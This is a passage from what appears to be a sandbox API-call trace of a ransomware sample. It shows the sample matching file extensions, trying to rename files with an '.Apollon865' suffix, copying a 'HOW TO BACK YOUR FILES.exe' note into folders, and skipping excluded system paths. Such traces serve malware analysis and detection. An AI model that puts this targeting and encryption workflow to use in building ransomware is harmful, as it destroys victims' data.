	[0078.841] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1
	[0078.841] lstrlenW (lpString="ns3") returned 3
	[0078.841] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1
	[0078.841] lstrlenW (lpString="ns4") returned 3
	[0078.841] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1
	[0078.841] lstrlenW (lpString="nsf") returned 3
	[0078.841] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1
	[0078.841] lstrlenW (lpString="nv") returned 2
	[0078.841] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1
	[0078.841] lstrlenW (lpString="nv2") returned 3
	[0078.841] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1
	[0078.841] lstrlenW (lpString="nwdb") returned 4
	[0078.841] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1
	[0078.841] lstrlenW (lpString="nyf") returned 3
	[0078.841] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1
	[0078.841] lstrlenW (lpString="odb") returned 3
	[0078.841] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0078.841] lstrlenW (lpString="odb") returned 3
	[0078.841] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0078.841] lstrlenW (lpString="oqy") returned 3
	[0078.841] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1
	[0078.841] lstrlenW (lpString="ora") returned 3
	[0078.841] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1
	[0078.841] lstrlenW (lpString="orx") returned 3
	[0078.841] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1
	[0078.841] lstrlenW (lpString="owc") returned 3
	[0078.841] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1
	[0078.841] lstrlenW (lpString="p96") returned 3
	[0078.841] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1
	[0078.841] lstrlenW (lpString="p97") returned 3
	[0078.841] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1
	[0078.841] lstrlenW (lpString="pan") returned 3
	[0078.841] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1
	[0078.841] lstrlenW (lpString="pdb") returned 3
	[0078.841] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1
	[0078.842] lstrlenW (lpString="pdm") returned 3
	[0078.842] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1
	[0078.842] lstrlenW (lpString="pnz") returned 3
	[0078.842] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1
	[0078.842] lstrlenW (lpString="qry") returned 3
	[0078.842] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1
	[0078.842] lstrlenW (lpString="qvd") returned 3
	[0078.842] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1
	[0078.842] lstrlenW (lpString="rbf") returned 3
	[0078.842] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1
	[0078.842] lstrlenW (lpString="rctd") returned 4
	[0078.842] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1
	[0078.842] lstrlenW (lpString="rod") returned 3
	[0078.842] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1
	[0078.842] lstrlenW (lpString="rodx") returned 4
	[0078.842] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1
	[0078.842] lstrlenW (lpString="rpd") returned 3
	[0078.842] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1
	[0078.842] lstrlenW (lpString="rsd") returned 3
	[0078.842] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1
	[0078.842] lstrlenW (lpString="sas7bdat") returned 8
	[0078.842] lstrcmpiW (lpString1="Scan.jpg", lpString2="sas7bdat") returned 1
	[0078.842] lstrlenW (lpString="sbf") returned 3
	[0078.842] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1
	[0078.842] lstrlenW (lpString="scx") returned 3
	[0078.842] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1
	[0078.842] lstrlenW (lpString="sdb") returned 3
	[0078.842] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1
	[0078.842] lstrlenW (lpString="sdc") returned 3
	[0078.842] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1
	[0078.842] lstrlenW (lpString="sdf") returned 3
	[0078.842] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1
	[0078.842] lstrlenW (lpString="sis") returned 3
	[0078.842] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1
	[0078.842] lstrlenW (lpString="spq") returned 3
	[0078.842] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1
	[0078.842] lstrlenW (lpString="te") returned 2
	[0078.842] lstrcmpiW (lpString1="pg", lpString2="te") returned -1
	[0078.843] lstrlenW (lpString="teacher") returned 7
	[0078.843] lstrcmpiW (lpString1="can.jpg", lpString2="teacher") returned -1
	[0078.843] lstrlenW (lpString="tmd") returned 3
	[0078.843] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1
	[0078.843] lstrlenW (lpString="tps") returned 3
	[0078.843] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1
	[0078.843] lstrlenW (lpString="trc") returned 3
	[0078.843] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0078.843] lstrlenW (lpString="trc") returned 3
	[0078.843] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1
	[0078.843] lstrlenW (lpString="trm") returned 3
	[0078.843] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1
	[0078.843] lstrlenW (lpString="udb") returned 3
	[0078.843] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1
	[0078.845] lstrlenW (lpString="udl") returned 3
	[0078.845] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1
	[0078.845] lstrlenW (lpString="usr") returned 3
	[0078.845] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1
	[0078.845] lstrlenW (lpString="v12") returned 3
	[0078.845] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1
	[0078.845] lstrlenW (lpString="vis") returned 3
	[0078.846] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1
	[0078.846] lstrlenW (lpString="vpd") returned 3
	[0078.846] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1
	[0078.846] lstrlenW (lpString="vvv") returned 3
	[0078.846] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1
	[0078.846] lstrlenW (lpString="wdb") returned 3
	[0078.846] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1
	[0078.846] lstrlenW (lpString="wmdb") returned 4
	[0078.846] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1
	[0078.846] lstrlenW (lpString="wrk") returned 3
	[0078.846] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1
	[0078.846] lstrlenW (lpString="xdb") returned 3
	[0078.846] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1
	[0078.846] lstrlenW (lpString="xld") returned 3
	[0078.846] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1
	[0078.846] lstrlenW (lpString="xmlff") returned 5
	[0078.846] lstrcmpiW (lpString1="n.jpg", lpString2="xmlff") returned -1
	[0078.846] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg.Apollon865") returned 73
	[0078.846] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msscan\\welcomescan.jpg"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msscan\\welcomescan.jpg.apollon865"), dwFlags=0x1) returned 0
	[0078.846] GetLastError () returned 0x5
	[0078.846] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg MoveFileEx error 5\r\n") returned 91
	[0078.846] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg MoveFileEx error 5\r\n") returned 91
	[0078.846] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0078.847] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x44d5
	[0078.847] WriteFile (in: hFile=0xc0, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x5b, lpOverlapped=0x0) returned 1
	[0078.857] CloseHandle (hObject=0xc0) returned 1
	[0078.857] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0078.857] CloseHandle (hObject=0x0) returned 0
	[0078.857] CloseHandle (hObject=0x0) returned 0
	[0078.858] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea12c467, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xea12c467, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xea1525c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7e148, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WelcomeScan.jpg", cAlternateFileName="")) returned 0
	[0078.858] FindClose (in: hFindFile=0x5ca110 | out: hFindFile=0x5ca110) returned 1
	[0078.858] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fd70
	[0078.858] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax"
	[0078.858] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5458 | out: hHeap=0x580000) returned 1
	[0078.858] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0078.858] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax") returned 45
	[0078.858] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax"
	[0078.858] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0078.858] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0078.858] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.859] GetLastError () returned 0x20
	[0078.859] Sleep (dwMilliseconds=0xc8) 
	[0079.072] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0079.072] GetLastError () returned 0x0
	[0079.072] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0079.072] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0079.073] CloseHandle (hObject=0x10c) returned 1
	[0079.073] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0079.073] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0079.073] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f78f770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f78f770, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0079.073] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.073] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0079.073] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0079.073] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f78f770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f78f770, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.073] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.073] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0079.073] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0079.073] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0079.073] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f801b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f801b90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ActivityLog", cAlternateFileName="ACTIVI~1")) returned 1
	[0079.073] lstrcmpiW (lpString1="ActivityLog", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.073] lstrcmpiW (lpString1="ActivityLog", lpString2="Apollon865.txt.exe") returned -1
	[0079.073] lstrcmpiW (lpString1="ActivityLog", lpString2=".") returned 1
	[0079.073] lstrcmpiW (lpString1="ActivityLog", lpString2="..") returned 1
	[0079.073] lstrcmpiW (lpString1="ActivityLog", lpString2="windows") returned -1
	[0079.073] lstrcmpiW (lpString1="ActivityLog", lpString2="bootmgr") returned -1
	[0079.073] lstrcmpiW (lpString1="ActivityLog", lpString2="temp") returned -1
	[0079.073] lstrcmpiW (lpString1="ActivityLog", lpString2="pagefile.sys") returned -1
	[0079.073] lstrcmpiW (lpString1="ActivityLog", lpString2="boot") returned -1
	[0079.073] lstrcmpiW (lpString1="ActivityLog", lpString2="ids.txt") returned -1
	[0079.073] lstrcmpiW (lpString1="ActivityLog", lpString2="ntuser.dat") returned -1
	[0079.073] lstrcmpiW (lpString1="ActivityLog", lpString2="perflogs") returned -1
	[0079.074] lstrcmpiW (lpString1="ActivityLog", lpString2="MSBuild") returned -1
	[0079.074] lstrlenW (lpString="ActivityLog") returned 11
	[0079.074] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\*") returned 47
	[0079.074] lstrcpyW (in: lpString1=0x119e664, lpString2="ActivityLog" | out: lpString1="ActivityLog") returned="ActivityLog"
	[0079.074] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b78c8
	[0079.074] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x5916c0
	[0079.074] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b78d0 | out: ListHead=0x5b75f0, ListEntry=0x5b78d0) returned 0x59fc10
	[0079.074] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f7dba30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7dba30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Common Coverpages", cAlternateFileName="COMMON~1")) returned 1
	[0079.074] lstrcmpiW (lpString1="Common Coverpages", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0079.074] lstrcmpiW (lpString1="Common Coverpages", lpString2="Apollon865.txt.exe") returned 1
	[0079.074] lstrcmpiW (lpString1="Common Coverpages", lpString2=".") returned 1
	[0079.074] lstrcmpiW (lpString1="Common Coverpages", lpString2="..") returned 1
	[0079.074] lstrcmpiW (lpString1="Common Coverpages", lpString2="windows") returned -1
	[0079.074] lstrcmpiW (lpString1="Common Coverpages", lpString2="bootmgr") returned 1
	[0079.074] lstrcmpiW (lpString1="Common Coverpages", lpString2="temp") returned -1
	[0079.074] lstrcmpiW (lpString1="Common Coverpages", lpString2="pagefile.sys") returned -1
	[0079.074] lstrcmpiW (lpString1="Common Coverpages", lpString2="boot") returned 1
	[0079.074] lstrcmpiW (lpString1="Common Coverpages", lpString2="ids.txt") returned -1
	[0079.074] lstrcmpiW (lpString1="Common Coverpages", lpString2="ntuser.dat") returned -1
	[0079.074] lstrcmpiW (lpString1="Common Coverpages", lpString2="perflogs") returned -1
	[0079.074] lstrcmpiW (lpString1="Common Coverpages", lpString2="MSBuild") returned -1
	[0079.074] lstrlenW (lpString="Common Coverpages") returned 17
	[0079.074] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog") returned 57
	[0079.074] lstrcpyW (in: lpString1=0x119e664, lpString2="Common Coverpages" | out: lpString1="Common Coverpages") returned="Common Coverpages"
	[0079.074] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b78e8
	[0079.074] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf700
	[0079.074] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b78f0 | out: ListHead=0x5b75f0, ListEntry=0x5b78f0) returned 0x5b78d0
	[0079.074] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f78f770, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f78f770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0079.074] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0079.074] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f7dba30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7dba30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Inbox", cAlternateFileName="")) returned 1
	[0079.074] lstrcmpiW (lpString1="Inbox", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0079.074] lstrcmpiW (lpString1="Inbox", lpString2="Apollon865.txt.exe") returned 1
	[0079.074] lstrcmpiW (lpString1="Inbox", lpString2=".") returned 1
	[0079.074] lstrcmpiW (lpString1="Inbox", lpString2="..") returned 1
	[0079.074] lstrcmpiW (lpString1="Inbox", lpString2="windows") returned -1
	[0079.075] lstrcmpiW (lpString1="Inbox", lpString2="bootmgr") returned 1
	[0079.075] lstrcmpiW (lpString1="Inbox", lpString2="temp") returned -1
	[0079.075] lstrcmpiW (lpString1="Inbox", lpString2="pagefile.sys") returned -1
	[0079.075] lstrcmpiW (lpString1="Inbox", lpString2="boot") returned 1
	[0079.075] lstrcmpiW (lpString1="Inbox", lpString2="ids.txt") returned 1
	[0079.075] lstrcmpiW (lpString1="Inbox", lpString2="ntuser.dat") returned -1
	[0079.075] lstrcmpiW (lpString1="Inbox", lpString2="perflogs") returned -1
	[0079.075] lstrcmpiW (lpString1="Inbox", lpString2="MSBuild") returned -1
	[0079.075] lstrlenW (lpString="Inbox") returned 5
	[0079.075] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages") returned 63
	[0079.075] lstrcpyW (in: lpString1=0x119e664, lpString2="Inbox" | out: lpString1="Inbox") returned="Inbox"
	[0079.075] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7908
	[0079.075] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x68) returned 0x5afd58
	[0079.075] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7910 | out: ListHead=0x5b75f0, ListEntry=0x5b7910) returned 0x5b78f0
	[0079.075] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f7dba30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7dba30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Queue", cAlternateFileName="")) returned 1
	[0079.075] lstrcmpiW (lpString1="Queue", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0079.075] lstrcmpiW (lpString1="Queue", lpString2="Apollon865.txt.exe") returned 1
	[0079.075] lstrcmpiW (lpString1="Queue", lpString2=".") returned 1
	[0079.075] lstrcmpiW (lpString1="Queue", lpString2="..") returned 1
	[0079.075] lstrcmpiW (lpString1="Queue", lpString2="windows") returned -1
	[0079.075] lstrcmpiW (lpString1="Queue", lpString2="bootmgr") returned 1
	[0079.075] lstrcmpiW (lpString1="Queue", lpString2="temp") returned -1
	[0079.075] lstrcmpiW (lpString1="Queue", lpString2="pagefile.sys") returned 1
	[0079.075] lstrcmpiW (lpString1="Queue", lpString2="boot") returned 1
	[0079.075] lstrcmpiW (lpString1="Queue", lpString2="ids.txt") returned 1
	[0079.075] lstrcmpiW (lpString1="Queue", lpString2="ntuser.dat") returned 1
	[0079.075] lstrcmpiW (lpString1="Queue", lpString2="perflogs") returned 1
	[0079.075] lstrcmpiW (lpString1="Queue", lpString2="MSBuild") returned 1
	[0079.075] lstrlenW (lpString="Queue") returned 5
	[0079.075] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox") returned 51
	[0079.075] lstrcpyW (in: lpString1=0x119e664, lpString2="Queue" | out: lpString1="Queue") returned="Queue"
	[0079.075] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7928
	[0079.075] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x68) returned 0x5afdc8
	[0079.075] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7930 | out: ListHead=0x5b75f0, ListEntry=0x5b7930) returned 0x5b7910
	[0079.075] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f7b58d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7b58d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SentItems", cAlternateFileName="SENTIT~1")) returned 1
	[0079.075] lstrcmpiW (lpString1="SentItems", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0079.076] lstrcmpiW (lpString1="SentItems", lpString2="Apollon865.txt.exe") returned 1
	[0079.076] lstrcmpiW (lpString1="SentItems", lpString2=".") returned 1
	[0079.076] lstrcmpiW (lpString1="SentItems", lpString2="..") returned 1
	[0079.076] lstrcmpiW (lpString1="SentItems", lpString2="windows") returned -1
	[0079.076] lstrcmpiW (lpString1="SentItems", lpString2="bootmgr") returned 1
	[0079.076] lstrcmpiW (lpString1="SentItems", lpString2="temp") returned -1
	[0079.076] lstrcmpiW (lpString1="SentItems", lpString2="pagefile.sys") returned 1
	[0079.076] lstrcmpiW (lpString1="SentItems", lpString2="boot") returned 1
	[0079.076] lstrcmpiW (lpString1="SentItems", lpString2="ids.txt") returned 1
	[0079.076] lstrcmpiW (lpString1="SentItems", lpString2="ntuser.dat") returned 1
	[0079.076] lstrcmpiW (lpString1="SentItems", lpString2="perflogs") returned 1
	[0079.076] lstrcmpiW (lpString1="SentItems", lpString2="MSBuild") returned 1
	[0079.076] lstrlenW (lpString="SentItems") returned 9
	[0079.076] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue") returned 51
	[0079.076] lstrcpyW (in: lpString1=0x119e664, lpString2="SentItems" | out: lpString1="SentItems") returned="SentItems"
	[0079.076] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd68
	[0079.076] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59ab78
	[0079.076] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fd70 | out: ListHead=0x5b75f0, ListEntry=0x59fd70) returned 0x5b7930
	[0079.076] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2f78f770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f78f770, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualInbox", cAlternateFileName="VIRTUA~1")) returned 1
	[0079.076] lstrcmpiW (lpString1="VirtualInbox", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0079.076] lstrcmpiW (lpString1="VirtualInbox", lpString2="Apollon865.txt.exe") returned 1
	[0079.076] lstrcmpiW (lpString1="VirtualInbox", lpString2=".") returned 1
	[0079.076] lstrcmpiW (lpString1="VirtualInbox", lpString2="..") returned 1
	[0079.076] lstrcmpiW (lpString1="VirtualInbox", lpString2="windows") returned -1
	[0079.076] lstrcmpiW (lpString1="VirtualInbox", lpString2="bootmgr") returned 1
	[0079.076] lstrcmpiW (lpString1="VirtualInbox", lpString2="temp") returned 1
